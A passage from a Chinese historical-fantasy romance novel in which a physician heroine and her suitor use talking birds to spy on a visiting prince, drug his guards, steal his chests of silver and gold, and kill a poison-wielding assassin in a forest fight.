楚星河低头看着她,眼中闪过一抹温柔。但很快,这抹温柔就被担忧取代:“楚王此人城府极深,你千万不要掉以轻心。” “我知道。”林芷柔点点头,“不过,我倒是很好奇,他究竟想干什么。” “无非是想拉拢你。”楚星河的声音带着几分冷意,“以他的性格,必定会用尽手段。” “那就让他来吧。”林芷柔不以为意,“我倒要看看,他能玩出什么花样。” 楚星河看着她这副模样,忍不住笑了:“你啊,就是喜欢玩火。” “那不是有你在吗?”林芷柔眨眨眼,“再说了,我也想看看,这位楚王殿下,到底有多大的本事。” 楚星河正要说什么,门外突然传来急促的脚步声。 “主子!”是楚雨的声音。 楚星河和林芷柔对视一眼,都从对方眼中看到了一丝凝重。 “进来。”楚星河沉声道。 楚雨推门而入,脸上带着几分急色:“主子,楚王已经到了城中,正在往这边来。” “这么快?”林芷柔挑眉,“看来他是等不及了。” 楚星河眸光一冷:“他这是想打我们一个措手不及。” “那就让他来吧。”林芷柔站起身,整理了一下衣裳,“正好,我也想会会这位楚王殿下。” 楚星河心中既担忧又无奈。他的柔柔,永远都是这样,越是危险的事情,越要往前冲。 “楚雨,”他开口道,“去准备一下,迎接楚王。” “是。”楚雨领命而去。 第一百一十八章 情报贩子 林芷柔继续思索着这一连串的事情,她的眉头越皱越紧。 玄冥的玉牌、楚王的银矿、玄冥六王子的异常关心,这些线索像是一团乱麻,怎么也理不清其中的关联。每当她试图抓住其中一条线索,其他线索就会纷至沓来,扰乱她的思绪。 “这事处处透着蹊跷。”她喃喃自语,起身在房间里来回踱步。脚步声在寂静的楚里格外清晰,一步一步,仿佛在丈量着这个难解的谜题。 突然,她停下脚步,脑中灵光一闪。“灰羽!墨翎!”她快步走到门边,推开房门唤道。 晚风送来翅膀扑腾的声响,两只乌鸦应声飞入。它们的黑亮羽毛在烛光下泛着幽光,像两颗漆黑的宝石。它们并排站在桌上,歪着脑袋望着林芷柔,眼中闪烁着智慧的光芒。 楚星河倚在门框上,看着这一幕,嘴角不自觉地扬起。他的柔柔总是能给他带来惊喜,用动物打探消息这种事,也只有她能想得出来。月光从窗外洒进来,为他俊朗的侧脸镀上一层柔和的银光。 “灰羽,”林芷柔正色道,手指轻轻抚过灰羽的羽毛,“你负责盯着那个瘸子秦面罗刹。他的一举一动,见过什么人,都要给我查清楚。让灰鼠七和玄猫五配合你。” 灰羽轻啄了一下她的手指,发出一声清脆的“嘎”声:“遵命!主人!”说完便展翅飞出窗外,很快消失在楚色中。 “墨翎,”林芷柔转向另一只乌鸦,“你去城门盯着楚王。他住在哪里,跟谁见面,说了什么,都要打探清楚。” 墨翎点了点头,黑亮的眼睛闪烁着坚定的光芒:“明白!我白天盯着,晚上让猫头鹰老五接手。绝不会让他有任何可疑举动逃过我们的眼睛。” 待两只乌鸦离开,楚星河走到林芷柔身边,轻笑道:“我家柔柔要是不当神医,做个情报贩子也是一把好手。”他的声音里带着几分调侃,却掩不住眼底的赞赏。 “少贫嘴。”林芷柔白了他一眼,转身收拾桌上的医书,“谁让楚王无事生非跑来云州。不弄清楚他的目的,我怎么能安心。”她的手指在书页间翻动,却心不在焉。 “我倒是担心你。”楚星河收起笑容,忧心忡忡地道,“楚王最擅长哄骗小姑娘,贾秦华就是被他甜言蜜语骗得晕头转向。那些花言巧语,不知迷惑了多少无知少女。” “呵,装模作样的男人最没意思。”林芷柔不屑地撇了撇嘴,手上的动作却停了下来,“你那前未婚妻也是傻,放着正室不做,非要去做人家的侧妃。这种人,活该被人耍得团团转。” 楚星河突然一把拉过她的手,温柔地摩挲着她的手指。他的手掌温暖而干燥,带着令人安心的温度:“我才不想让她当正室,我的正室只能是你。” “谁要做你的正室了!”林芷柔挣扎着要抽回手,脸上飞起一抹红晕。 楚星河却不肯放开,反而凑近了些,呼吸拂过她的耳畔:“那我不碰手,改捏脸好不好?”他的声音低沉而温柔,带着几分蛊惑。 “你敢!” 房间里响起一声清脆的巴掌声。 楚星河委屈地揉着发红的手背,眼中却带着笑意:“柔柔,你下手真重。” “活该!谁让你动手动脚的。”林芷柔别过脸,不去看他装可怜的样子。心跳却不受控制地加快了几分。 “那用亲的总可以吧?”楚星河突然凑近,在她脸颊上轻轻一吻,“柔柔,你要是不高兴,打我也行,只是别伤到自己的手。” 林芷柔的心猛地一颤。这个男人,怎么能这么温柔?明明被打疼了,却还在担心她的手会疼。 “傻瓜。”她低声骂道,声音里却带着说不出的温柔。 林芷柔走到窗边,望着远处的城门方向。楚王的到来让她心中升起一丝不安,但有楚星河在身边,这份不安似乎也没那么难以忍受了。 “柔柔,”楚星河的声音从身后传来,“你在想什么?” 她没有回头,只是轻声说道:“我在想,楚王此次来云州,恐怕不只是为了银矿这么简单。” “你是说...”楚星河的声音带着几分凝重。 “玄冥六王子对我的关心太过刻意,”林芷柔转过身,“而楚王又恰好在这个时候出现。这两件事,总让我觉得有什么地方不对劲。” 楚星河走到她身边,轻轻握住她的手:“不管有什么阴谋,我都会保护你。” 林芷柔抽出手,假装嗔怒道:“谁需要你保护了?我自己就能应付。” “是是是,”楚星河笑着点头,“我们柔柔最厉害了。不过...”他的声音突然低沉下来,“如果真的遇到危险,别硬撑。我不想看到你受伤。” 林芷柔心中一暖,却故意板着脸说:“知道了,啰嗦。” 楚星河看着她嘴硬的样子,忍不住又想去捏她的脸,却被她灵巧地躲开了。 “你再动手动脚,我就让灰羽啄你!”林芷柔威胁道。 “好好好,不动手。”楚星河举手投降,“不过柔柔,你真的不考虑...” “考虑什么?” “考虑做我的正室?” “滚!” 楚星河笑着躲开飞来的枕头,看着林芷柔气鼓鼓的样子,心中满是柔情。这个倔强的小丫头,什么时候才能承认自己的心意呢? 墨翎扑腾着翅膀,兴奋地叫唤着落在屋檐上,乌黑的羽毛在夕阳余晖下泛着幽蓝的光泽。它终于等到了这个人,那个让主人牵挂已久的楚王。 远处马蹄声渐近,一队人马缓缓驶入云云州。墨翎眯起眼睛,仔细打量着那辆装饰华贵的马车。车帘随风轻摆,隐约可见车内人影。 楚王端坐在马车里,眉头微蹙。马车刚过城门,就听到不祥的乌鸦叫声,这让他心里泛起一丝不快。他下意识地摸了摸腰间的玉佩,那是他最重要的信物之一。 第一百一十九章 夜探客栈 “这云州倒是热闹。”贾秦华掀开车帘往外张望,明媚的眼眸中闪烁着好奇的光芒。她第一次来到这座城市,街道两旁的店铺鳞次栉比,行人往来如织,处处透着繁华气象。 “你还是少往外看为好。”楚王轻声提醒,目光警惕地扫视四周,“此行事关重大,不能暴露身份。” 贾秦华撇了撇嘴,放下车帘,却忍不住又掀起一角。她注意到街边一家绣庄的招牌,上面“云锦阁”三个大字格外醒目,门前还挂着几件精美的绣品。 墨翎在屋檐间跳跃,时不时发出几声叫唤。它得赶紧去通知猫头鹰老五,这可是个大活儿。果然如主人所说,楚王身边带了个女人来,这倒是个意外收获。 马车在几条街道上转了几圈,最后停在了一家名为“沉月楼”的客栈前。这是云州最好的客栈,三层楼高的建筑古色古香,门前两盏大红灯笼在暮色中散发着温暖的光晕。 “王爷,小的已经安排好了。”一个侍卫快步上前,恭敬地说道,“后院最安静的院子已经收拾妥当。” 楚王微微颔首,在侍卫的引领下进入客栈。贾秦华跟在后面,好奇地打量着周围的陈设。客栈大堂内檀香袅袅,几个店小二正忙着招呼客人,茶香酒香混杂在一起,充满烟火气。 “这边请。”店小二弯着腰,引着一行人穿过回廊,来到一处幽静的院落。院中种着几株桂花树,清香四溢,假山流水点缀其间,颇有几分雅致。 “行李都搬到哪间房了?”楚王问道,目光在院子里扫视一圈。 “回王爷,都在东厢房。”侍卫答道,“已经安排了三个人守着。” 楚王点点头:“你们都下去吧,记住,不要声张身份。” 待人都退下后,贾秦华终于忍不住问道:“王爷,我们真的不去金泰钱庄吗?” “不急。”楚王走到廊下的石凳上坐下,“此行要低调行事,钱庄那边暂时不便露面。” 夜幕降临时,猫头鹰老七姗姗来迟。它落在墨翎身边的树枝上,圆溜溜的眼睛在黑暗中闪着幽光。作为夜猫子的头领,它向来行事谨慎。 “就是他?”老七压低声音问道,“这楚王来云州做什么?” 墨翎抖了抖羽毛:“不清楚具体原因,但主人特意交代要盯紧他。你手下都准备好了吗?” “放心。”老七得意地晃晃脑袋,“我带来了最精锐的。保准把他们的一举一动都盯得死死的。” 正说着,几只猫头鹰无声无息地落在附近的树枝上。它们都是老七手下最得力的助手,经验丰富,从不失手。 “分头行动。”老七开始安排,“门口要有人盯着,重点关注那个穿得最好的男人。我亲自带两个盯梢,其他的守住各个出入口。” 猫头鹰们轻声应和,随即分散开来。它们虽然不会说人话,但各有所长,配合默契。有些事情,反而比人更容易做到。 墨翎看着它们各就各位,这才展翅飞向仁心医馆。萤萤早已准备好了吃食和仙露泉,这是主人特意吩咐的。 林芷柔坐在院中的藤椅上,听着墨翎汇报情况。“租下了一整座院子?”她冷笑一声,“不知道带了多少银子来。” 墨翎眼珠子滴溜溜地转:“主人想知道?我这就去查。” “去吧。”林芷柔没有阻拦。她心里盘算着,抢了楚王的钱应该不会连累云陵伯府。毕竟治安是知府的事,与她家没什么关系。 想到这里,她来了精神。等墨翎的消息一到,就带萤萤去收东西。让楚王也尝尝被洗劫的滋味。 楚星河得到消息后,立刻赶来商量对策。他一身夜行衣,整个人融入黑暗中,若不仔细看,根本发现不了他的存在。 “柔柔,你确定要这么做?”楚星河低声问道,眼中不无担忧。 林芷柔点点头:“机会难得。再说,他做过的事,也该还回来了。” 两人一拍即合,决定今晚就动手。时间定在子时,那时候守卫最松懈。 子时将尽,楚星河抱着林芷柔飞身而出。月光如纱,笼罩着整座城市。街道上早已没了行人,只有偶尔几声狗吠打破楚的寂静。 林山和柳雅芝站在院子里,看着女儿又被女婿带着飞走,不由得面面相觑。 “这毛病又犯了,大半夜的带着柔柔到处飞。”林山叹了口气,眉头微皱。 柳雅芝若有所思:“肯定是有要事。女婿稳重,不会乱来的。” “算了,孩子大了有自己的主意。”林山摆摆手,转身往屋里走。 柳雅芝点头跟上。女儿有分寸,女婿更是本事了得,她一点都不担心。倒是自家男人,操心过度了。 楚星河抱着林芷柔稳稳落在客栈屋顶,瓦片没发出一点声响。墨翎早已等在那里,它轻轻扑扇着翅膀,示意两人跟上。 “主人,那边那屋,三个人守着。”墨翎压低声音说道,“里面搬了好几个大箱子。” 林芷柔和楚星河顺着它指的方向看去,果然看到三个人影站在房门外。月光下,能清楚地看到他们腰间佩剑的轮廓。 “让玄猫五来引开他们?”林芷柔提议。 “不用。”楚星河接过萤萤送来的迷药,唇角勾起一抹自信的笑,“三个小喽啰而已,给我点迷药就行。确保他们能站着睡着。” “当心点,那可是王爷的侍卫。”林芷柔担心地看着手中精致的琉璃瓶。瓶身上雕刻着繁复的花纹,在月光下泛着淡淡的光晕。 “放心。”楚星河拿过迷药,眼睛一亮,“柔柔,这瓶子用完了能送我吗?” “可以,你快去吧。”林芷柔叮嘱道,“这迷药厉害,一点就够。别把自己也迷倒了。” “不会。喝了你给的水,我百毒不侵。等着。” 话音未落,楚星河已如一片落叶般无声落地。他的身影在月光下若隐若现,快速靠近守卫。只见他手一扬,三人还没反应过来就软倒下去。 他动作麻利地将三人扶好,让他们靠在墙边。乍一看,就像是站岗睡着了一般,丝毫看不出异常。 第一百二十章 遇袭 城郊的树林中一片寂静。突然,两道身影如鬼魅般掠过,打破了这份宁静。 楚星河抱着林芷柔飞掠而过,身形轻盈如风。他小心翼翼地将人护在怀中,生怕磕着碰着。林芷柔能感受到他急促的心跳,知道他也在为刚才的惊险而紧张。 “我们甩掉他们了吗?”林芷柔低声问道,心里不由有些担忧。 楚星河没有回答,只是继续向前奔跑。他的沉默让林芷柔更加不安,她知道情况可能比想象中更糟。 终于,楚星河在一棵大树下停了下来。他轻轻将林芷柔放下,然后警惕地环顾四周。 “暂时安全了。”他低声说道,眉头却仍然紧锁,“但我们不能掉以轻心。” 林芷柔点点头,从怀中掏出萤萤给的连珠弓。这小巧的武器给了她一丝安全感,但她知道在真正的高手面前,这可能只是聊胜于无。 “楚王的人真是阴魂不散。”林芷柔咬牙道,“我们明明已经逃出了城,他们怎么还能追到这里?” 楚星河沉思片刻,:“或许...他们早就料到我们会往这个方向逃。” 林芷柔心中一惊:“你是说,我们中了圈套?” 就在这时,一阵微风吹过,树叶沙沙作响。楚星河突然警觉起来,他猛地将林芷柔推到一旁,同时自己也闪身躲避。 一道凌厉的掌风擦着他们刚才站立的位置呼啸而过,将地上的落叶吹得四散飞扬。 “好敏锐的感知。”一个阴冷的声音从树梢上传来,“不愧是楚家的少主。” 楚星河和林芷柔抬头望去,只见一个黑衣人站在树枝上,整个人都笼罩在黑袍之中,只露出一双阴冷的眼睛。 “你是谁?”楚星河沉声问道,同时将林芷柔护在身后。 黑衣人没有回答,而是缓缓从树上跳下。他的身形矮小,背微驼,但每一个动作都透露着危险的气息。 “不用管我是谁,”黑衣人冷笑道,“你们只需要知道,今晚你们逃不掉就够了。” 林芷柔握紧了手中的连珠弓,心跳加速。她知道,这个黑衣人绝非等闲之辈。 楚星河眯起眼睛,仔细打量着对方:“你是楚王的人?” 黑衣人轻蔑地笑了笑:“楚王?他还不配让我为他卖命。” 这句话让楚星河和林芷柔都愣住了。如果不是楚王的人,那么这个神秘的黑衣人又是为谁而来? 就在他们疑惑之际,黑衣人突然出手。他的动作快如闪电,瞬间就来到了楚星河面前。 楚星河反应极快,立刻抬手格挡。两人的手掌相碰,发出一声闷响。楚星河只觉得一股强大的力量传来,整个人都被震得后退了几步。 “小心!”林芷柔惊呼一声,举起连珠弓就要射击。 然而黑衣人的速度实在太快,她还没来得及扣动扳机,对方就已经闪到了一旁。 “有意思的小玩意。”黑衣人盯着林芷柔手中的连珠弓,“不过,在真正的高手面前,这种东西不过是玩具罢了。” 林芷柔咬紧牙关,心中既恼火又无奈。她知道黑衣人说的没错,但此刻她除了这把连珠弓,别无他物可以自保。 楚星河站稳身形,冷冷地看着黑衣人:“你到底想要什么?” 黑衣人没有直接回答,而是慢悠悠地说道:“楚少主,你可知道你们楚家的秘密?” 这句话如同一道惊雷,在楚星河心中炸响。他的表情瞬间变得凝重起来:“你...你知道什么?” 黑衣人轻笑一声:“看来楚少主也不是什么都知道啊。那么,我们来玩个游戏如何?” 不等楚星河回答,黑衣人突然一掌拍向身旁的大树。只听“咔嚓”一声,那棵粗壮的大树竟然应声而断。 “我们来比比看,谁能先抓到那个女娃娃。如果你赢了,我就告诉你楚家的秘密。如果我赢了...”黑衣人的声音突然变得阴森起来,“那就别怪我心狠手辣了。” 话音刚落,黑衣人就朝林芷柔扑去。 楚星河大惊失色,立刻挡在林芷柔面前。两人再次交手,拳脚相加,招招致命。 林芷柔看得心惊肉跳,她想要帮忙,却又怕误伤楚星河。就在她犹豫之际,突然感觉背后一凉。 “小心!”楚星河大喊一声。 林芷柔猛地回头,只见黑衣人不知何时已经绕到了她的身后,一只枯瘦的手正朝她抓来。 千钧一发之际,林芷柔本能地扣动了连珠弓的扳机。 “嗖”的一声,一支细小的箭矢射出,直奔黑衣人而去。 黑衣人显然没料到这小小的武器竟然如此迅速,躲闪不及,被箭矢擦过了手臂。 “有点意思。”黑衣人看了看手臂上的伤口,眼中闪过一丝惊讶,“没想到这小玩意儿还真能伤到我。” 趁此机会,楚星河一个箭步冲到林芷柔身边,将她护在身后。 “你没事吧?”他低声问道,眼中满是关切。 林芷柔摇摇头,心还在狂跳不已:“我没事,多亏了这把连珠弓。” 楚星河松了口气,随即又警惕地看向黑衣人:“你到底是谁?为什么要对我们出手?” 黑衣人没有回答,而是慢慢摘下了头上的黑色斗篷。 月光下,一张布满皱纹的老脸显露出来。那双阴冷的眼睛中闪烁着诡异的光芒。 “黑针!”楚星河惊呼出声,“怎么会是你?” 林芷柔听到这个名字,也是一惊。她虽然没见过黑针,但却听说过这个名号。据说此人武功高强,行事诡谲,是江湖中人人畏惧的存在。 黑针冷笑一声:“楚少主果然见多识广。不过,你认出我又如何?今晚,你们谁也别想活着离开。” 说着,他突然从怀中掏出一把粉末,朝楚星河和林芷柔撒去。 “小心!”楚星河大喊一声,同时用衣袖挡在两人面前。 粉末撒在衣袖上,发出“嗤嗤”的声响,竟然将布料腐蚀出了几个小洞。 “好毒的药粉!”林芷柔惊呼道。 楚星河脸色凝重:“黑针果然名不虚传,连这种歹毒的手段都用得出来。” 黑针冷笑道:“这还只是开胃菜而已。接下来,才是真正的好戏。” 说着,他双手一挥,无数细小的玉针如雨点般朝两人射来。 楚星河连忙拉着林芷柔躲避,但玉针太多,密不透风,根本无处可躲。 就在这千钧一发之际,林芷柔突然想起了什么。她急忙从怀中掏出一个小瓶子,打开瓶塞,将里面的粉末洒向空中。 “嗤嗤”声响起,那些飞来的玉针竟然在接触到粉末的瞬间融化了。 黑针见状,不由郑重起来:“有意思,没想到你们还有这种宝贝。” 第一百二十一章 配合默契 林芷柔松了口气,心中暗自庆幸萤萤给她的这些小玩意派上了用场。 楚星河趁机上前,与黑针再次交手。两人你来我往,招招致命。林芷柔看得目不转睛,心中既担忧又佩服。 突然,黑针一个转身,竟然直接朝林芷柔扑来。 “柔柔,小心!”楚星河大喊一声,想要阻拦却已经来不及。 林芷柔心中一惊,本能地举起连珠弓就要射击。然而黑针的速度实在太快,她还没来得及扣动扳机,对方的手就已经掐住了她的脖子。 “放开她!”楚星河怒吼一声,冲上前来。 黑针冷笑道:“再靠近一步,我就捏断她的脖子。” 楚星河停下脚步,眼中满是愤怒和担忧。 林芷柔被掐得喘不过气来,她拼命挣扎,却无法挣脱黑针的魔爪。 就在这千钧一发之际,一声清脆的枪响突然在空中炸开。 “砰!” 黑针的手臂猛地一颤,鲜血顺着指缝流下。他惊讶地松开了掐着林芷柔的手,难以置信地看向声音传来的方向。 只见林芷柔手中不知何时多了一把手枪,枪口还冒着青烟。 “这...这是什么武器?”黑针震惊地问道。 林芷柔咳嗽了几声,艰难地说道:“这叫手枪,是比你的暗器更厉害的武器。” 楚星河趁机冲上前,一掌击在黑针的胸口。黑针闷哼一声,踉跄着后退了几步。 “没想到...没想到你们还有这种厉害的武器...”黑针捂着胸口,语气中满是惊恐,“难怪能伤了秦面罗刹。” 林芷柔心头一跳:“你认识秦面罗刹?” “他是我徒弟。”黑针咳出一口血,目光却死死盯着林芷柔手中的枪,“你们的武器,我从未见过。” 话音未落,他突然挥手撒出一把粉末。 “小心!”楚星河大喊一声。 粉末在月光下泛着诡异的光芒,直扑林芷柔面门而来。 林芷柔想要躲避,却已经来不及了。就在这千钧一发之际,身旁的萤萤默默收走了飞来的毒粉。这种配合早已成为两人之间心照不宣的默契。 “以为这点伎俩就能伤我?”林芷柔冷笑一声,手中晃动着装满毒粉的琉璃瓶。瓶中粉末在月光下泛着诡异的青光,仿佛蕴含着无尽的杀机。 她迈步向前,动作优雅从容。月光下,她白衣胜雪,宛如谪仙。每一步都发出轻微的声响,却让对面的黑针心惊胆战。 “不!”黑针惊恐的声音在夜色中格外刺耳,他踉跄着后退,脚下一个不稳,差点摔倒。 “怎么,堂堂玄冥第一毒师,现在却怕了自己配制的毒药?”林芷柔嘴角勾起一抹讥讽的笑意,眼中却冒出森冷的杀意。 黑针额头渗出冷汗,声音颤抖:“你、你怎么可能...” “为什么不可能?”林芷柔打断他的话,“你以为只有你懂得用毒?”她手腕一翻,毒粉倾泻而下。青烟袅袅升起,伴随着令人作呕的焦臭味。 一旁的楚星河看得入了神。他从未见过如此特别的姑娘,在生死之间游刃有余,举手投足间尽显从容。月光下,她的侧脸如同精雕细琢的玉石,完美无瑕。 黑针发出一声凄厉的惨叫,毒粉沾染之处,皮肉迅速腐蚀。他想逃,却发现双腿已经不听使唤。 “自己配的毒药,自己尝尝味道如何?”林芷柔居高临下地看着地上痛苦挣扎的黑针,声音中带着几分冷漠。 黑针的脸已经面目全非,血肉模糊中露出森森白骨。他想说什么,却只能发出含糊不清的呜咽声。毒素迅速蔓延全身,每一寸皮肉都在腐烂,散发出令人作呕的气味。 这位纵横江湖数十载的高手,此刻却像条将死的野狗,在地上痛苦地扭动着身体。他的眼中充满了不甘和恐惧,却无力改变自己的命运。 “真是讽刺。”林芷柔轻叹一声,“堂堂玄冥第一毒师,最后却死在自己的毒药之下。”她的声音不带任何感情,仿佛在陈述一个再普通不过的事实。 月光下,黑针的尸体已经完全变形,看不出原本的模样。 待黑针彻底断气,林芷柔从锦囊里取出一把短锹,递给楚星河:“挖坑吧。” “我先搜身。”楚星河接过短锹,却放在一旁。他的目光在黑针的尸体上扫过,心里觉得还是要谨慎一些。 “还是我来吧。”林芷柔从锦囊取出一副白色手套,“你等会儿还要抱我,别弄脏了手。”她的语气突然变得柔和,与方才判若两人。 楚星河听了这话,心头一暖。他的柔柔总是这样体贴,即便在这种时候,也不忘关心他。月光下,他看着她认真的侧脸,心中涌起一阵温柔。 林芷柔戴上手套,仔细搜查黑针的尸体。她的动作干净利落,丝毫不被眼前的血腥场面影响。很快,一把匕首和一块令牌出现在她手中。 “玄冥皇宫的腰牌?”楚星河眉头微皱,“看来楚王与玄冥的关系不简单。”他的声音中带着几分凝重。 “别想那么多。”林芷柔将两样东西收进锦囊,“天快亮了,我们该回去了。”她抬头看了看天色,东方已经泛起一丝鱼肚白。 楚星河迅速挖好坑,将尸体掩埋。随后,他轻轻将林芷柔抱起,在月光下飞驰而去。 路上,他忍不住低头,在她唇上轻轻一吻。那一刻,时间仿佛静止,月光温柔地笼罩着两人。 林芷柔也不躲避。她早已习惯了这个男人的温柔,也明白自己终将是他的人。只是在成亲之前,该守的底线还是要守住。她的心中泛起一丝甜蜜,又带着几分羞涩。 夜风中,两人的身影渐渐远去,只留下一地月光。 回到医馆,楚星河将林芷柔送进房间。屋内还残留着白天晒过的草药味道,混合着淡淡的檀香,让人心神安宁。 “困了吧?”他柔声问道,目光中满是关切。 林芷柔刚要回答,房间里突然出现了八只大小不一的箱子。箱子整齐地摆放在地上,上面还带着露水的痕迹。 “萤萤真厉害!”她惊喜地说道,“这么短的时间,就把所有东西都收回去了。”显然对萤萤的表现非常满意。 “萤萤?”楚星河疑惑地看着她,“他在哪儿?”不明白这些箱子是怎么突然出现的。 第一百二十二章 打的好算盘 林芷柔靠在窗边,月光透过纱窗洒在她清秀的面容上。她望着楚星河,语气轻柔却带着几分神秘:“我的锦囊小精灵是魂体,没有实体的。” 楚星河张了张嘴,欲言又止。他的目光在林芷柔脸上停留片刻,最终还是选择沉默。这种神秘莫测的事物,问与不问,答案大抵都是模棱两可。 房间内烛光摇曳,八只大小不一的箱子整齐排列。每一只箱子都上了精致的铜锁,锁扣处雕刻着繁复的花纹,显然不是寻常人家用的普通锁具。 “这些锁看起来挺结实。”楚星河伸手摸了摸最近的一只箱子。 林芷柔嘴角微扬,从袖中取出一根铜丝。她纤细的手指轻轻摆弄着,铜丝在烛光下泛着微弱的光泽。 “对我来说,这些锁和摆设没什么区别。”她的声音里带着几分得意。 铜丝在锁孔中灵巧地转动,“咔嗒”声此起彼伏。一个接一个的铜锁应声落地,发出清脆的响声。 楚星河看得入神,不由赞叹:“你这手艺,江湖上的老手也未必比得上。” “小意思。”林芷柔将铜丝收回袖中,“开箱子才是重点。” 楚星河依次掀开箱盖,金灿灿的元宝、白花花的银锭、整齐叠放的玉牌映入眼帘。箱子里的财物堆得满满当当,在烛光照耀下闪烁着诱人的光芒。 “三箱金元宝,三箱银元宝,两箱玉牌...”林芷柔仔细翻看着玉牌,“没有官府印记,也没有钱庄标记。” 她托着下巴,眉头微蹙,疑惑地道:“楚王带这么多钱来云州,究竟想做什么?” “确实蹊跷。”楚星河在房间里来回踱步,“按理说,金泰钱庄的老板出门,带些玉牌就够了。何必大费周章带这么多金银?而且还专门找了黑针看守。” 两人目光交汇,眼中同时闪过一丝明悟。 “飞火连珠弓的图纸!”楚星河脱口而出。 林芷柔轻轻拍了下他的手臂:“你也想到了?求医不过是个幌子,他是想用钱砸出图纸来。” “这老狐狸打的好算盘。”楚星河冷笑,“查探银锭、搅和我的亲事、求医,都是顺带的。他真正的目标是连珠弓图谱。” 林芷柔走到窗边,望着远处的月色:“楚王这步棋下得够狠的。如果成功了,不仅能得到图纸,还能查清楚银锭的来源。一箭双雕啊。” “可惜,他算漏了你这个变数。”楚星河的语气中带着几分得意。 林芷柔转过身,月光在她脸上投下淡淡的阴影:“萤萤,收了。” 话音刚落,八只箱子瞬间消失无踪,仿佛从未出现过。 楚星河将林芷柔抱到床上:“你休息吧,我得赶紧回去和父亲商议此事。连珠弓图谱绝不能外泄。” “嗯,你去吧。”林芷柔挥了挥手,“路上小心些。” 夜色中,一道身影破空而去,只在月光下留下一道淡淡的剪影。 与此同时,楚王正在客栈安睡。他做了一个梦,梦见自己带着连珠弓图谱回到帝都,母妃笑得合不拢嘴。可惜好梦不长,很快就被打断了。 第二天一大早,一声惊呼打破了清晨的宁静:“王爷!不好了!库房失窃!” 楚王猛地从床上坐起,顾不得穿外衣就冲了出去。他的脸色阴沉得可怕,脚步声在走廊上回荡。 库房内空空如也,三名守卫跪在地上,瑟瑟发抖。黑针和八只箱子都不见了踪影,地上只剩下几个铜锁。 “怎么回事?”楚王的声音冷得像冰,眼中几乎要喷出火来。 “回王爷,昨晚我们闻到一股香味就昏睡过去了...”守卫们战战兢兢地回答,额头上的冷汗不停地往下滴。 “废物!”楚王一脚踢翻了旁边的桌子,“连个库房都看不住!” 这些钱是他谈判的筹码,是换取连珠弓图谱的关键。没了这些,他如何向母妃交代?更重要的是,这意味着有人识破了他的计划。 正当楚王怒火中烧时,屋顶上突然传来一阵怪叫声。 “哇哇!”一只乌鸦站在房檐上,歪着脑袋看着下面的人,“别气死了哇!我家主子还没玩够呢!” 楚王暴怒:“给我打下那只该死的乌鸦!” 三名侍卫纷纷跃上屋顶,却被墨翎戏耍得团团转。乌鸦时而飞到左边,时而又蹦到右边,侍卫们追得气喘吁吁,最后反倒互相打了起来。 “砰!砰!”两声闷响,两名侍卫先后摔下屋顶,摔得鼻青脸肿。 最后一名侍卫恼羞成怒,抽出腰间的短刀:“死乌鸦,看我不打死你!” 墨翎在半空中盘旋,日光下她漆黑的羽毛泛着幽蓝的光泽。她扑扇着翅膀,尖着嗓子大叫:“傻子!想杀我?你们这些蠢货,自己滚下去摔死算了!” 屋顶上的侍卫们手持长剑,他们小心翼翼地挪动脚步,试图包围这只诡异的乌鸦。瓦片在脚下发出细微的摩擦声,微风吹拂着他们的衣袍。 墨翎突然俯冲而下,利爪直取一名侍卫的面门。那人慌忙后退,脚下一滑,整个人顺着屋顶滑落。他的手指在瓦片上徒劳地抓挠,发出刺耳的声响。 “砰!”沉闷的撞击声中,那人重重摔在地上,痛苦地蜷缩成一团。他的面容扭曲,冷汗顺着额头滑落。 楚王司马川站在院中,看着自己的侍卫一个接一个被一只乌鸦打落,脸色阴沉得可怕。眼中满是不可置信。这云州的乌鸦都成精了不成? “给我抓住它!”他咬牙切齿地下令,声音里充满怒意,“抓住了给我炖汤!” 墨翎在空中划出一道优美的弧线,发出刺耳的嘲笑:“想吃你姑奶奶?做梦去吧!蠢货!”她的声音里带着几分得意,“你们这些人,连自己的钱袋子都看不住,还想抓住我?” 司马川的脸色瞬间变得铁青。这只乌鸦,分明是在嘲讽他丢失的那批金银! 院中的侍卫们面面相觑,不敢抬头看主子的脸色。他们心知肚明,这次的任务已经彻底失败了。 墨翎又在空中盘旋了几圈,发出几声刺耳的笑声,这才振翅一飞,消失在天际中,只留下一地狼狈的侍卫和一个怒不可遏的楚王。 第一百二十三章 去后面排队 司马川站在院中,胸口剧烈起伏。堂堂楚王的侍卫,竟然连一只鸟都对付不了,简直是奇耻大辱。他的目光扫过院中东倒西歪的侍卫,眼中的怒火几乎要喷薄而出。 司马川的思绪愈发混乱。黑针追着劫匪出去已经一夜未归,这可不是个好兆头。以黑针的身手,能纠缠这么久的对手,必定来历不简单。 最让他烦躁的是,这批金银明明转移得极为隐秘,他明明安排得天衣无缝,连自己的亲信都不知道具体数目,可还是出了纰漏。更糟的是,这事还不能声张。若是让帝都那边知道他带着巨额金银来到云州,父皇那边怎么交代? 他的目光投向远处的城墙。云州,云陵伯父子研制连珠弓的地方。这批金银若是被查出来,他该如何解释? 司马川攥紧了拳头,指节发白。这辈子还从未如此憋屈过,钱被偷了都不能张扬。但现在不是发火的时候,他还得装作若无其事地去拜访那位林大夫。 他深吸一口气,强迫自己冷静下来。一边派人暗中调查此事,一边让人去金泰钱庄下令,若收到大额金银和玉牌,务必扣下查验。 这些命令一经下达,很快就传到了林芷柔耳中。墨翎来回几趟,将消息一一告知。她时而停在窗棂上,时而落在院中的树枝上,将打探到的消息细细道来。 林芷柔一边给病人看诊,一边听着墨翎在耳边絮叨。她的手指在脉搏上轻轻跳动,神色如常,仿佛这些消息与她无关。 诊室内,一位老妇人正诉说着自己的病症。林芷柔认真倾听,时而点头,时而提问。阳光透过窗棂洒在她的侧脸上,勾勒出一道柔和的轮廓。 不多时,一辆华贵的马车停在了仁心医馆门前。车轮碾过地面,激起一阵尘土。楚王换了一身白袍,却没有立即下车,而是掀开车帘一角窥视。他的目光在医馆门前逡巡,似乎在寻找什么。 林芷柔正在给一位老妇人诊脉,指尖轻轻搭在对方的手腕上,神情专注。秋日的晨光透过窗棂洒进来,在她白皙的脸庞上镀上一层淡淡的金色。 她早就注意到不远处停着的那辆雕花镶金的马车,只是懒得理会。这个时节,天气多变,前来看病的人比往常多了许多。昨晚她刚熬制了一批安肠丸,今天正好派上用场。 “大娘,你这是受了风寒。”她温声细语地说着,纤细的手指在药柜前翻找,“我给你开几副药,回去好好调养。记住要忌生冷,多喝些热汤。” 老妇人满脸感激:“谢谢大夫,多亏遇到你。” 